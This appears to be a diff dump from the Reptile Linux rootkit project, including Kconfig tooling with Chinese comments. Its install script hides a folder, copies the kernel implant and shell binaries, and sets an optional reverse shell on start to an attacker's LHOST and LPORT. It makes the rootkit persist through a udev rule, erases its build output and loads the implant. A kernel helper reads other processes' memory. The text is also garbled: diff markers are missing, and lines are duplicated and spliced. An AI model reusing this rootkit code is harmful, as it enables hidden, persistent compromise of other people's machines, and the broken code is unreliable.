#include <linux/slab.h> // 包含内核内存分配相关的头文件
#include <linux/mm.h> // 包含内存管理相关的头文件
#include <linux/sched.h> // 包含调度相关的头文件
#include <linux/version.h> // 包含内核版本相关的头文件
#include <linux/ctype.h> // 包含字符类型相关的头文件
//访问和操作进程的命令行参数
#include <linux/kmod.h>
#include <linux/kallsyms.h>
#include <linux/types.h>
#include <linux/slab.h>
#include <linux/mm.h>
#include <linux/sched.h>
#include <linux/version.h>
#include <linux/ctype.h>
#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0)
# include <linux/sched/mm.h> // 包含调度和内存管理相关的头文件仅在内核版本4.11.0及以上)
# include <linux/sched/mm.h>
#endif
#include "util.h" // 包含自定义的util头文件
#include "util.h"
// 声明一个函数指针,用于访问进程虚拟内存
asmlinkage int (*_access_process_vm)(struct task_struct *, unsigned long, void *, int, int);
int util_init(void)
{
#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0)
// 在内核版本4.11.0及以上直接使用access_process_vm函数
_access_process_vm = (void *) access_process_vm;
#else
// 在内核版本4.11.0以下通过符号表查找access_process_vm函数
_access_process_vm = (void *) ksym_lookup_name("access_process_vm");
#endif
// 如果函数指针为空,返回错误
if (!_access_process_vm)
return -EFAULT;
return 0; // 初始化成功返回0
return 0;
}
/* 从mm/util.c文件中借用的函数 */
/* stolen from mm/util.c */
// 获取进程的命令行参数
int get_cmdline(struct task_struct *task, char *buffer, int buflen)
{
int res = 0; // 初始化返回值
unsigned int len; // 命令行参数的长度
struct mm_struct *mm = get_task_mm(task); // 获取进程的内存描述符
unsigned long arg_start, arg_end, env_start, env_end; // 命令行参数和环境变量的起始和结束地址
if (!mm) // 如果内存描述符为空跳转到out标签
int res = 0;
unsigned int len;
struct mm_struct *mm = get_task_mm(task);
unsigned long arg_start, arg_end, env_start, env_end;
if (!mm)
goto out;
if (!mm->arg_end) // 如果命令行参数的结束地址为空跳转到out_mm标签
if (!mm->arg_end)
goto out_mm;
down_read(&mm->mmap_sem); // 获取内存描述符的读锁
arg_start = mm->arg_start; // 获取命令行参数的起始地址
arg_end = mm->arg_end; // 获取命令行参数的结束地址
env_start = mm->env_start; // 获取环境变量的起始地址
env_end = mm->env_end; // 获取环境变量的结束地址
up_read(&mm->mmap_sem); // 释放内存描述符的读锁
down_read(&mm->mmap_sem);
arg_start = mm->arg_start;
arg_end = mm->arg_end;
env_start = mm->env_start;
env_end = mm->env_end;
up_read(&mm->mmap_sem);
len = arg_end - arg_start; // 计算命令行参数的长度
len = arg_end - arg_start;
if (len > buflen) // 如果长度大于缓冲区长度,截断长度
if (len > buflen)
len = buflen;
// 读取进程的命令行参数到缓冲区
res = _access_process_vm(task, arg_start, buffer, len, FOLL_FORCE);
// 如果命令行参数的末尾被覆盖假设应用程序使用了setproctitle(3)
/*
* If the nul at the end of args has been overwritten, then
* assume application is using setproctitle(3).
*/
if (res > 0 && buffer[res-1] != '\0' && len < buflen) {
len = strnlen(buffer, res); // 获取缓冲区的实际长度
len = strnlen(buffer, res);
if (len < res) {
res = len; // 更新返回值
res = len;
} else {
len = env_end - env_start; // 计算环境变量的长度
if (len > buflen - res) // 如果长度大于剩余缓冲区长度,截断长度
len = env_end - env_start;
if (len > buflen - res)
len = buflen - res;
// 读取进程的环境变量到缓冲区
res += _access_process_vm(task, env_start, buffer+res, len, FOLL_FORCE);
res = strnlen(buffer, res); // 获取缓冲区的实际长度
res = strnlen(buffer, res);
}
}
out_mm:
mmput(mm); // 释放内存描述符
mmput(mm);
out:
return res; // 返回读取的长度
return res;
}
/*
static int count_argc(const char *str)
{
int count = 0; // 初始化参数计数
bool was_space; // 标记上一个字符是否为空格
int count = 0;
bool was_space;
for (was_space = true; *str; str++) {
if (isspace(*str)) { // 如果当前字符为空格
was_space = true; // 更新标记
} else if (was_space) { // 如果当前字符不是空格且上一个字符为空格
was_space = false; // 更新标记
count++; // 增加参数计数
if (isspace(*str)) {
was_space = true;
} else if (was_space) {
was_space = false;
count++;
}
}
return count; // 返回参数计数
return count;
}
int run_cmd(const char *cmd)
{
char **argv; // 参数数组
int ret; // 返回值
int i; // 循环变量
char **argv;
int ret;
int i;
argv = argv_split(GFP_KERNEL, cmd, NULL); // 分割命令行参数
argv = argv_split(GFP_KERNEL, cmd, NULL);
if (argv) {
ret = exec(argv); // 执行命令
argv_free(argv); // 释放参数数组
ret = exec(argv);
argv_free(argv);
} else {
ret = -ENOMEM; // 内存分配失败,返回错误
ret = -ENOMEM;
}
return ret; // 返回执行结果
return ret;
}
*/

@ -0,0 +1,65 @@
#!/bin/bash
function random_gen_dec {
RETVAL=$(shuf -i 50-99 -n 1)
}
PWD="$(cd "$(dirname ${BASH_SOURCE[0]})" && pwd)"
[ $? -ne 0 ] && PWD="$(cd "$(dirname $0)" && pwd)"
source "${BASH_SOURCE%/*}/../.config" || \
{ echo "Error: no .config file found!"; exit; }
UDEV_DIR=/lib/udev
random_gen_dec && NAME=$RETVAL-$HIDE.rules
RULE=/lib/udev/rules.d/$NAME
[ ! -d /lib/udev/rules.d ] && RULE=/etc/udev/rules.d/$NAME
# Create Reptile's folder
mkdir -p /$HIDE && \
# Copy "cmd" binary
cp $PWD/../output/cmd /$HIDE/$HIDE"_cmd" && \
# Copy "shell" binary
cp $PWD/../output/shell /$HIDE/$HIDE"_shell" && \
# Copy "bashrc"
cp $PWD/../scripts/bashrc /$HIDE/$HIDE"_rc" && \
# Create start script
cp $PWD/../scripts/start /$HIDE/$HIDE"_start" && \
sed -i s!XXXXX!$TAG_NAME! /$HIDE/$HIDE"_start" && \
sed -i s!\#CMD!/$HIDE/$HIDE"_cmd"! /$HIDE/$HIDE"_start" && \
if [ "$CONFIG_RSHELL_ON_START" == "y" ]; then
sed -i s!\#SHELL!/$HIDE/$HIDE"_shell"! /$HIDE/$HIDE"_start" && \
sed -i s!LHOST!$LHOST! /$HIDE/$HIDE"_start" && \
sed -i s!LPORT!$LPORT! /$HIDE/$HIDE"_start" && \
sed -i s!PASS!$PASSWORD! /$HIDE/$HIDE"_start" && \
sed -i s!INTERVAL!$INTERVAL! /$HIDE/$HIDE"_start" && \
true || false;
fi
# Permissions
chmod 777 /$HIDE/* && \
# Copy kernel implant
cp $PWD/../output/reptile /$HIDE/$HIDE && \
# Make persistent
cp $PWD/../output/reptile $UDEV_DIR/$HIDE && \
cp $PWD/../scripts/rule $RULE && \
# cleaning output dir
rm -rf $PWD/../output && \
# Load Reptile
/$HIDE/$HIDE && \
echo -e "\n\e[44;01;33m*** DONE! ***\e[00m\n" || { echo -e "\e[01;31mERROR!\e[00m\n"; exit; }
# How to Uninstall
echo -e "UNINSTALL:\n"
echo -e "/$HIDE/$HIDE""_cmd show"
echo -e "rmmod reptile_module"
echo -e "rm -rf /$HIDE $RULE $UDEV_DIR/$HIDE"
echo

@ -3,133 +3,120 @@
* Released under the terms of the GNU GPL v2.0.
*/
#include <locale.h> // 引入本地化相关功能的头文件
#include <ctype.h> // 引入字符处理函数的头文件,例如 isspace、isdigit 等
#include <stdio.h> // 引入标准输入输出库
#include <stdlib.h> // 引入标准库,提供内存管理、程序退出等功能
#include <string.h> // 引入字符串处理函数库
#include <time.h> // 引入时间日期相关函数
#include <unistd.h> // 引入 Unix 系统 API提供与系统交互的功能
#include <getopt.h> // 引入命令行参数解析函数
#include <sys/stat.h> // 引入文件状态函数
#include <sys/time.h> // 引入时间管理函数
#include <errno.h> // 引入错误码定义
#include "lkc.h" // 引入项目自定义的头文件
// 函数声明
static void conf(struct menu *menu); // 配置函数
static void check_conf(struct menu *menu); // 检查配置函数
static void xfgets(char *str, int size, FILE *in); // 自定义的 fgets 函数
// 定义输入模式枚举类型
#include <locale.h>
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#include <getopt.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <errno.h>
#include "lkc.h"
static void conf(struct menu *menu);
static void check_conf(struct menu *menu);
static void xfgets(char *str, int size, FILE *in);
enum input_mode {
oldaskconfig, // 用户交互模式
silentoldconfig, // 无用户交互模式,使用默认值
oldconfig, // 使用旧的配置
allnoconfig, // 所有选项都为 no
allyesconfig, // 所有选项都为 yes
allmodconfig, // 所有选项都为模块
alldefconfig, // 所有选项都为默认值
randconfig, // 随机配置
defconfig, // 使用默认配置
savedefconfig, // 保存默认配置
listnewconfig, // 列出新的配置项
olddefconfig, // 使用旧的默认配置
} input_mode = oldaskconfig; // 设置默认输入模式为 oldaskconfig
// 静态变量声明
static int indent = 1; // 配置输出时的缩进级别
static int tty_stdio; // 标识标准输入输出是否是终端设备
static int valid_stdin = 1; // 标识标准输入是否有效
static int sync_kconfig; // 同步配置标志
static int conf_cnt; // 配置项计数器
static char line[128]; // 用于存储输入行的缓冲区
static struct menu *rootEntry; // 配置菜单的根节点指针
// 打印帮助信息
oldaskconfig,
silentoldconfig,
oldconfig,
allnoconfig,
allyesconfig,
allmodconfig,
alldefconfig,
randconfig,
defconfig,
savedefconfig,
listnewconfig,
olddefconfig,
} input_mode = oldaskconfig;
static int indent = 1;
static int tty_stdio;
static int valid_stdin = 1;
static int sync_kconfig;
static int conf_cnt;
static char line[128];
static struct menu *rootEntry;
static void print_help(struct menu *menu)
{
struct gstr help = str_new(); // 创建一个新的字符串对象
struct gstr help = str_new();
menu_get_ext_help(menu, &help); // 获取菜单项的扩展帮助信息
menu_get_ext_help(menu, &help);
printf("\n%s\n", str_get(&help)); // 打印帮助信息
str_free(&help); // 释放帮助字符串资源
printf("\n%s\n", str_get(&help));
str_free(&help);
}
// 去除字符串两端的空白字符
static void strip(char *str)
{
char *p = str;
int l;
// 跳过前导空格
while ((isspace(*p)))
p++;
l = strlen(p); // 获取字符串的长度
if (p != str) // 如果有前导空格,移动字符串内容
l = strlen(p);
if (p != str)
memmove(str, p, l + 1);
if (!l) // 如果字符串为空,返回
if (!l)
return;
// 去除尾部空格
p = str + l - 1;
while ((isspace(*p))) // 从字符串末尾向前查找空格并去除
while ((isspace(*p)))
*p-- = 0;
}
// 检查标准输入是否有效
static void check_stdin(void)
{
if (!valid_stdin) { // 如果标准输入无效
if (!valid_stdin) {
printf(_("aborted!\n\n"));
printf(_("Console input/output is redirected. "));
printf(_("Run 'make oldconfig' to update configuration.\n\n"));
exit(1); // 退出程序
exit(1);
}
}
// 配置选项的处理函数
static int conf_askvalue(struct symbol *sym, const char *def)
{
enum symbol_type type = sym_get_type(sym); // 获取符号的类型
enum symbol_type type = sym_get_type(sym);
if (!sym_has_value(sym)) // 如果没有值,标记为新选项
if (!sym_has_value(sym))
printf(_("(NEW) "));
line[0] = '\n';
line[1] = 0;
if (!sym_is_changable(sym)) { // 如果符号不可修改,直接输出默认值
if (!sym_is_changable(sym)) {
printf("%s\n", def);
line[0] = '\n';
line[1] = 0;
return 0;
}
// 根据输入模式不同执行不同的操作
switch (input_mode) {
case oldconfig:
case silentoldconfig:
if (sym_has_value(sym)) { // 如果已有值,直接输出默认值
if (sym_has_value(sym)) {
printf("%s\n", def);
return 0;
}
check_stdin(); // 检查标准输入有效性
check_stdin();
/* fall through */
case oldaskconfig:
fflush(stdout); // 刷新标准输出缓冲区
xfgets(line, 128, stdin); // 获取用户输入
if (!tty_stdio) // 如果标准输入不是终端,换行
fflush(stdout);
xfgets(line, 128, stdin);
if (!tty_stdio)
printf("\n");
return 1;
default:
break;
}
// 根据符号类型进行处理
switch (type) {
case S_INT:
case S_HEX:
@ -139,169 +126,141 @@ static int conf_askvalue(struct symbol *sym, const char *def)
default:
;
}
printf("%s", line); // 输出用户输入的内容
printf("%s", line);
return 1;
}
// 配置字符串类型的处理函数
static int conf_string(struct menu *menu)
{
struct symbol *sym = menu->sym;
const char *def;
while (1) {
printf("%*s%s ", indent - 1, "", _(menu->prompt->text)); // 打印菜单提示
printf("(%s) ", sym->name); // 打印符号名称
def = sym_get_string_value(sym); // 获取符号的默认字符串值
if (def) // 如果有默认值,打印出来
printf("%*s%s ", indent - 1, "", _(menu->prompt->text));
printf("(%s) ", sym->name);
def = sym_get_string_value(sym);
if (sym_get_string_value(sym))
printf("[%s] ", def);
if (!conf_askvalue(sym, def)) // 获取用户输入并处理
if (!conf_askvalue(sym, def))
return 0;
// 根据用户输入的内容进行处理
switch (line[0]) {
case '\n':
break; // 如果用户没有输入内容,继续
break;
case '?':
// 打印帮助信息
/* print help */
if (line[1] == '\n') {
print_help(menu); // 打印帮助
print_help(menu);
def = NULL;
break;
}
/* fall through */
default:
line[strlen(line) - 1] = 0; // 去掉换行符
def = line; // 将用户输入的内容赋给 def
line[strlen(line)-1] = 0;
def = line;
}
// 设置符号的字符串值
if (def && sym_set_string_value(sym, def))
return 0;
}
}
// 配置符号的值yes、no、mod的函数
static int conf_sym(struct menu *menu)
{
struct symbol *sym = menu->sym; // 获取菜单项的符号
tristate oldval, newval; // 旧值和新值变量tristate表示三种状态yes、no、mod
struct symbol *sym = menu->sym;
tristate oldval, newval;
while (1) {
// 打印菜单提示信息,包括符号名称(如果存在)
printf("%*s%s ", indent - 1, "", _(menu->prompt->text)); // 打印缩进和提示文本
if (sym->name) // 如果符号有名称,打印符号名称
printf("%*s%s ", indent - 1, "", _(menu->prompt->text));
if (sym->name)
printf("(%s) ", sym->name);
putchar('['); // 打印开头的方括号
oldval = sym_get_tristate_value(sym); // 获取符号的当前值
// 根据当前的状态值oldval打印相应的字符
putchar('[');
oldval = sym_get_tristate_value(sym);
switch (oldval) {
case no:
putchar('N'); // 输出 'N' 表示当前为 no
putchar('N');
break;
case mod:
putchar('M'); // 输出 'M' 表示当前为 mod
putchar('M');
break;
case yes:
putchar('Y'); // 输出 'Y' 表示当前为 yes
putchar('Y');
break;
}
// 根据当前的状态值显示可选的值no、mod、yes如果符号的值在范围内
if (oldval != no && sym_tristate_within_range(sym, no))
printf("/n");
if (oldval != mod && sym_tristate_within_range(sym, mod))
printf("/m");
if (oldval != yes && sym_tristate_within_range(sym, yes))
printf("/y");
// 如果菜单项有帮助信息,显示帮助提示
if (menu_has_help(menu))
printf("/?");
printf("] "); // 打印结束的方括号
// 询问用户输入新值,如果没有输入有效值,返回 0
printf("] ");
if (!conf_askvalue(sym, sym_get_string_value(sym)))
return 0;
strip(line);
strip(line); // 去除用户输入的字符串两端空格
// 根据用户输入的值进行处理
switch (line[0]) {
case 'n':
case 'N': // 如果输入是 'n' 或 'N',设置新值为 no
case 'N':
newval = no;
if (!line[1] || !strcmp(&line[1], "o"))
break;
continue; // 如果有其他字符,继续下一次循环
continue;
case 'm':
case 'M': // 如果输入是 'm' 或 'M',设置新值为 mod
case 'M':
newval = mod;
if (!line[1])
break;
continue; // 如果有其他字符,继续下一次循环
continue;
case 'y':
case 'Y': // 如果输入是 'y' 或 'Y',设置新值为 yes
case 'Y':
newval = yes;
if (!line[1] || !strcmp(&line[1], "es"))
break;
continue; // 如果有其他字符,继续下一次循环
case 0: // 如果没有输入内容,保留旧值
continue;
case 0:
newval = oldval;
break;
case '?': // 如果输入是 '?',显示帮助
case '?':
goto help;
default:
continue; // 继续循环,直到输入合法
continue;
}
// 设置符号的新值
if (sym_set_tristate_value(sym, newval))
return 0; // 如果设置失败,返回 0
return 0;
help:
print_help(menu); // 打印帮助信息
print_help(menu);
}
}
// 配置选择菜单项的函数
static int conf_choice(struct menu *menu)
{
struct symbol *sym, *def_sym;
struct menu *child;
bool is_new;
sym = menu->sym; // 获取当前菜单项的符号
is_new = !sym_has_value(sym); // 检查符号是否有值(是否为新符号)
// 如果符号可修改,进行符号的配置
sym = menu->sym;
is_new = !sym_has_value(sym);
if (sym_is_changable(sym)) {
conf_sym(menu); // 调用 conf_sym 函数配置符号
sym_calc_value(sym); // 计算符号的值
// 根据符号的值执行不同的操作
conf_sym(menu);
sym_calc_value(sym);
switch (sym_get_tristate_value(sym)) {
case no: // 如果值是 no返回 1
case no:
return 1;
case mod: // 如果值是 mod返回 0
case mod:
return 0;
case yes: // 如果值是 yes继续执行
case yes:
break;
}
} else { // 如果符号不可修改
} else {
switch (sym_get_tristate_value(sym)) {
case no: // 如果值是 no返回 1
case no:
return 1;
case mod: // 如果值是 mod打印菜单提示并返回 0
case mod:
printf("%*s%s\n", indent - 1, "", _(menu_get_prompt(menu)));
return 0;
case yes: // 如果值是 yes继续执行
case yes:
break;
}
}
}
while (1) {

@ -17,23 +17,17 @@
#include "lkc.h"
// 定义警告信息输出函数
static void conf_warning(const char *fmt, ...)
__attribute__ ((format (printf, 1, 2)));
// 定义普通信息输出函数
static void conf_message(const char *fmt, ...)
__attribute__ ((format (printf, 1, 2)));
// 配置文件名
static const char *conf_filename;
// 当前行号
static int conf_lineno, conf_warnings, conf_unsaved;
// 默认配置文件名
const char conf_defname[] = ".defconfig";
// 输出警告信息
static void conf_warning(const char *fmt, ...)
{
va_list ap;
@ -45,7 +39,6 @@ static void conf_warning(const char *fmt, ...)
conf_warnings++;
}
// 默认的消息回调函数
static void conf_default_message_callback(const char *fmt, va_list ap)
{
printf("#\n# ");
@ -53,17 +46,13 @@ static void conf_default_message_callback(const char *fmt, va_list ap)
printf("\n#\n");
}
// 消息回调函数指针
static void (*conf_message_callback) (const char *fmt, va_list ap) =
conf_default_message_callback;
// 设置消息回调函数
void conf_set_message_callback(void (*fn) (const char *fmt, va_list ap))
{
conf_message_callback = fn;
}
// 输出消息信息
static void conf_message(const char *fmt, ...)
{
va_list ap;
@ -73,7 +62,6 @@ static void conf_message(const char *fmt, ...)
conf_message_callback(fmt, ap);
}
// 获取配置文件名
const char *conf_get_configname(void)
{
char *name = getenv(PRODUCT_ENV"_CONFIG");
@ -81,13 +69,11 @@ const char *conf_get_configname(void)
return name ? name : ".config";
}
// 获取自动配置文件名
const char *conf_get_autoconfig_name(void)
{
return getenv(PRODUCT_ENV"_AUTOCONFIG");
}
// 展开配置值中的变量
static char *conf_expand_value(const char *in)
{
struct symbol *sym;
@ -114,7 +100,6 @@ static char *conf_expand_value(const char *in)
return res_value;
}
// 获取默认配置文件名
char *conf_get_default_confname(void)
{
struct stat buf;
@ -131,7 +116,6 @@ char *conf_get_default_confname(void)
return name;
}
// 设置符号值
static int conf_set_sym_val(struct symbol *sym, int def, int def_flags, char *p)
{
char *p2;
@ -143,7 +127,7 @@ static int conf_set_sym_val(struct symbol *sym, int def, int def_flags, char *p)
sym->flags |= def_flags;
break;
}
// 跌落至下一个case
/* fall through */
case S_BOOLEAN:
if (p[0] == 'y') {
sym->def[def].tri = yes;
@ -166,7 +150,7 @@ static int conf_set_sym_val(struct symbol *sym, int def, int def_flags, char *p)
sym->type = S_STRING;
goto done;
}
// 跌落至下一个case
/* fall through */
case S_STRING:
if (*p++ != '"')
break;
@ -182,7 +166,7 @@ static int conf_set_sym_val(struct symbol *sym, int def, int def_flags, char *p)
conf_warning("invalid string found");
return 1;
}
// 跌落至下一个case
/* fall through */
case S_INT:
case S_HEX:
done:
@ -202,7 +186,6 @@ static int conf_set_sym_val(struct symbol *sym, int def, int def_flags, char *p)
return 0;
}
// 增加字节到行缓冲区
#define LINE_GROWTH 16
static int add_byte(int c, char **lineptr, size_t slen, size_t *n)
{
@ -224,7 +207,6 @@ static int add_byte(int c, char **lineptr, size_t slen, size_t *n)
return 0;
}
// 兼容getline函数
static ssize_t compat_getline(char **lineptr, size_t *n, FILE *stream)
{
char *line = *lineptr;
@ -238,7 +220,7 @@ static ssize_t compat_getline(char **lineptr, size_t *n, FILE *stream)
if (add_byte(c, &line, slen, n) < 0)
goto e_out;
slen++;
// 跌落至下一个case
/* fall through */
case EOF:
if (add_byte('\0', &line, slen, n) < 0)
goto e_out;
@ -259,7 +241,6 @@ e_out:
return -1;
}
// 读取简单的配置文件
int conf_read_simple(const char *name, int def)
{
FILE *in = NULL;
@ -319,7 +300,7 @@ load:
case S_STRING:
if (sym->def[def].val)
free(sym->def[def].val);
// 跌落至下一个case
/* fall through */
default:
sym->def[def].val = NULL;
sym->def[def].tri = no;
@ -422,7 +403,6 @@ setsym:
return 0;
}
// 读取配置文件
int conf_read(const char *name)
{
struct symbol *sym;
@ -438,7 +418,7 @@ int conf_read(const char *name)
if (sym_is_choice(sym) || (sym->flags & SYMBOL_AUTO))
continue;
if (sym_has_value(sym) && (sym->flags & SYMBOL_WRITE)) {
// 检查计算值是否与保存值一致
/* check that calculated value agrees with saved value */
switch (sym->type) {
case S_BOOLEAN:
case S_TRISTATE:
@ -446,30 +426,33 @@ int conf_read(const char *name)
break;
if (!sym_is_choice(sym))
continue;
// 跌落至下一个case
/* fall through */
default:
if (!strcmp(sym->curr.val, sym->def[S_DEF_USER].val))
continue;
break;
}
} else if (!sym_has_value(sym) && !(sym->flags & SYMBOL_WRITE))
// 没有先前值且未保存
/* no previous value and not saved */
continue;
conf_unsaved++;
// 在详细模式下可能打印值...
/* maybe print value in verbose mode... */
}
for_all_symbols(i, sym) {
if (sym_has_value(sym) && !sym_is_choice_value(sym)) {
// 重置生成值的值,以便它们在出现时会显示为新值,
// 但如果Kconfig和保存的配置不一致则不起作用。
/* Reset values of generates values, so they'll appear
* as new, if they should become visible, but that
* doesn't quite work if the Kconfig and the saved
* configuration disagree.
*/
if (sym->visible == no && !conf_unsaved)
sym->flags &= ~SYMBOL_DEF_USER;
switch (sym->type) {
case S_STRING:
case S_INT:
case S_HEX:
// 如果字符串值超出范围,则重置字符串值
/* Reset a string value if it's out of range */
if (sym_string_within_range(sym, sym->def[S_DEF_USER].val))
break;
sym->flags &= ~(SYMBOL_VALID|SYMBOL_DEF_USER);

File diff suppressed because it is too large Load Diff

@ -1,286 +1,301 @@
/*
* inputbox.c --
* inputbox.c -- implements the input box
*
* Savio Lam (lam836@cs.cuhk.hk)
* Linux William Roadcap (roadcap@cfw.com)
* ORIGINAL AUTHOR: Savio Lam (lam836@cs.cuhk.hk)
* MODIFIED FOR LINUX KERNEL CONFIG BY: William Roadcap (roadcap@cfw.com)
*
* GNU / 2
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* GNU
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* GNU Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*/
#include "dialog.h"
// 包含对话框相关的头文件
char dialog_input_result[MAX_LEN + 1];
// 定义一个字符数组用于存储输入框的结果
/*
*
* Print the termination buttons
*/
static void print_buttons(WINDOW * dialog, int height, int width, int selected)
{
int x = width / 2 - 11;
// 计算按钮的起始 x 坐标
int y = height - 2;
// 计算按钮的起始 y 坐标
print_button(dialog, gettext(" Ok "), y, x, selected == 0);
// 打印 "Ok" 按钮
print_button(dialog, gettext(" Help "), y, x + 14, selected == 1);
// 打印 "Help" 按钮
wmove(dialog, y, x + 1 + 14 * selected);
// 移动光标到选中的按钮位置
wrefresh(dialog);
// 刷新对话框窗口
}
/*
*
* Display a dialog box for inputing a string
*/
int dialog_inputbox(const char *title, const char *prompt, int height, int width,
const char *init)
{
int i, x, y, box_y, box_x, box_width;
// 定义一些变量用于计算和存储位置和大小
int input_x = 0, key = 0, button = -1;
// 定义输入框的 x 坐标、按键和按钮状态变量
int show_x, len, pos;
// 定义显示 x 坐标、字符串长度和光标位置变量
char *instr = dialog_input_result;
// 指向输入结果的指针
WINDOW *dialog;
// 定义对话框窗口指针
if (!init)
instr[0] = '\0';
// 如果没有初始值,将输入结果置为空字符串
else
strcpy(instr, init);
// 否则,将初始值复制到输入结果中
do_resize:
// 标签,用于处理窗口大小变化
if (getmaxy(stdscr) <= (height - INPUTBOX_HEIGTH_MIN))
// 如果屏幕高度不足以显示对话框
return -ERRDISPLAYTOOSMALL;
// 返回错误代码
if (getmaxx(stdscr) <= (width - INPUTBOX_WIDTH_MIN))
// 如果屏幕宽度不足以显示对话框
return -ERRDISPLAYTOOSMALL;
// 返回错误代码
/* 在屏幕上居中对话框 */
/* center dialog box on screen */
x = (getmaxx(stdscr) - width) / 2;
// 计算对话框的 x 坐标
y = (getmaxy(stdscr) - height) / 2;
// 计算对话框的 y 坐标
draw_shadow(stdscr, y, x, height, width);
// 绘制对话框阴影
dialog = newwin(height, width, y, x);
// 创建对话框窗口
keypad(dialog, TRUE);
// 启用对话框窗口的键盘功能
draw_box(dialog, 0, 0, height, width,
// 绘制对话框边框
dlg.dialog.atr, dlg.border.atr);
wattrset(dialog, dlg.border.atr);
// 设置对话框边框属性
mvwaddch(dialog, height - 3, 0, ACS_LTEE);
// 绘制左下角边框字符
for (i = 0; i < width - 2; i++)
waddch(dialog, ACS_HLINE);
// 绘制水平边框线
wattrset(dialog, dlg.dialog.atr);
// 设置对话框属性
waddch(dialog, ACS_RTEE);
// 绘制右下角边框字符
print_title(dialog, title, width);
// 打印对话框标题
wattrset(dialog, dlg.dialog.atr);
// 设置对话框属性
print_autowrap(dialog, prompt, width - 2, 1, 3);
// 打印提示信息
/* 绘制输入框 */
/* Draw the input field box */
box_width = width - 6;
// 计算输入框宽度
getyx(dialog, y, x);
// 获取当前光标位置
box_y = y + 2;
// 计算输入框的 y 坐标
box_x = (width - box_width) / 2;
// 计算输入框的 x 坐标
draw_box(dialog, y + 1, box_x - 1, 3, box_width + 2,
// 绘制输入框边框
dlg.dialog.atr, dlg.border.atr);
print_buttons(dialog, height, width, 0);
// 打印按钮
/* 设置初始值 */
/* Set up the initial value */
wmove(dialog, box_y, box_x);
// 移动光标到输入框起始位置
wattrset(dialog, dlg.inputbox.atr);
// 设置输入框属性
len = strlen(instr);
// 获取输入字符串的长度
pos = len;
// 设置光标位置为字符串长度
if (len >= box_width) {
// 如果字符串长度超过输入框宽度
show_x = len - box_width + 1;
// 计算显示起始 x 坐标
input_x = box_width - 1;
// 设置输入框的 x 坐标
for (i = 0; i < box_width - 1; i++)
// 在输入框中显示字符串
waddch(dialog, instr[show_x + i]);
} else {
show_x = 0;
// 设置显示起始 x 坐标为 0
input_x = len;
// 设置输入框的 x 坐标为字符串长度
waddstr(dialog, instr);
// 在输入框中显示字符串
}
wmove(dialog, box_y, box_x + input_x);
// 移动光标到字符串末尾
wrefresh(dialog);
// 刷新对话框窗口
while (key != KEY_ESC) {
// 循环直到按下 ESC 键
key = wgetch(dialog);
// 获取按键
if (button == -1) { /* 输入框被选中 */
if (button == -1) { /* Input box selected */
switch (key) {
case TAB:
// 制表符键
case KEY_UP:
// 向上箭头键
case KEY_DOWN:
// 向下箭头键
break;
// 忽略这些按键
case KEY_BACKSPACE:
// 退格键
case 127:
// ASCII 退格键
if (pos) {
// 如果光标位置不为 0
wattrset(dialog, dlg.inputbox.atr);
// 设置输入框属性
if (input_x == 0) {
// 如果输入框的 x 坐标为 0
show_x--;
// 显示起始 x 坐标减 1
} else
input_x--;
// 输入框的 x 坐标减 1
if (pos < len) {
// 如果光标位置小于字符串长度
for (i = pos - 1; i < len; i++)
// 删除字符
for (i = pos - 1; i < len; i++) {
instr[i] = instr[i+1];
}
}
pos--;
// 光标位置减 1
len--;
// 字符串长度减 1
instr[len] = '\0';
// 字符串末尾添加空字符
wmove(dialog, box_y, box_x);
// 移动光标到输入框起始位置
for (i = 0; i < box_width; i++) {
// 在输入框中显示字符串
if (!instr[show_x + i]) {
waddch(dialog, ' ');
// 如果字符串结束,添加空格
break;
}
waddch(dialog, instr[show_x + i]);
}
wmove(dialog, box_y, input_x + box_x);
// 移动光标到字符串末尾
wrefresh(dialog);
// 刷新对话框窗口
}
continue;
// 继续循环
case KEY_LEFT:
// 向左箭头键
if (pos > 0) {
// 如果光标位置大于 0
if (input_x > 0) {
// 如果输入
print_buttons(dialog, height, width, 1); // 打印按钮,选中 "Help" 按钮
wmove(dialog, box_y, --input_x + box_x);
} else if (input_x == 0) {
show_x--;
wmove(dialog, box_y, box_x);
for (i = 0; i < box_width; i++) {
if (!instr[show_x + i]) {
waddch(dialog, ' ');
break;
}
waddch(dialog, instr[show_x + i]);
}
wmove(dialog, box_y, box_x);
}
pos--;
}
continue;
case KEY_RIGHT:
if (pos < len) {
if (input_x < box_width - 1) {
wmove(dialog, box_y, ++input_x + box_x);
} else if (input_x == box_width - 1) {
show_x++;
wmove(dialog, box_y, box_x);
for (i = 0; i < box_width; i++) {
if (!instr[show_x + i]) {
waddch(dialog, ' ');
break;
case 0: // 如果 "Ok" 按钮被选中
button = -1; // 表示输入框被选中
}
waddch(dialog, instr[show_x + i]);
}
wmove(dialog, box_y, input_x + box_x);
}
pos++;
}
continue;
default:
if (key < 0x100 && isprint(key)) {
if (len < MAX_LEN) {
wattrset(dialog, dlg.inputbox.atr);
if (pos < len) {
for (i = len; i > pos; i--)
instr[i] = instr[i-1];
instr[pos] = key;
} else {
instr[len] = key;
}
pos++;
len++;
instr[len] = '\0';
if (input_x == box_width - 1) {
show_x++;
} else {
input_x++;
}
wmove(dialog, box_y, box_x);
for (i = 0; i < box_width; i++) {
if (!instr[show_x + i]) {
waddch(dialog, ' ');
break;
}
waddch(dialog, instr[show_x + i]);
}
wmove(dialog, box_y, input_x + box_x);
wrefresh(dialog);
} else
flash(); /* Alarm user about overflow */
continue;
}
}
}
switch (key) {
case 'O':
case 'o':
delwin(dialog);
return 0;
case 'H':
case 'h':
delwin(dialog);
return 1;
case KEY_UP:
case KEY_LEFT:
switch (button) {
case -1:
button = 1; /* Indicates "Help" button is selected */
print_buttons(dialog, height, width, 1);
break;
case 0:
button = -1; /* Indicates input box is selected */
print_buttons(dialog, height, width, 0);
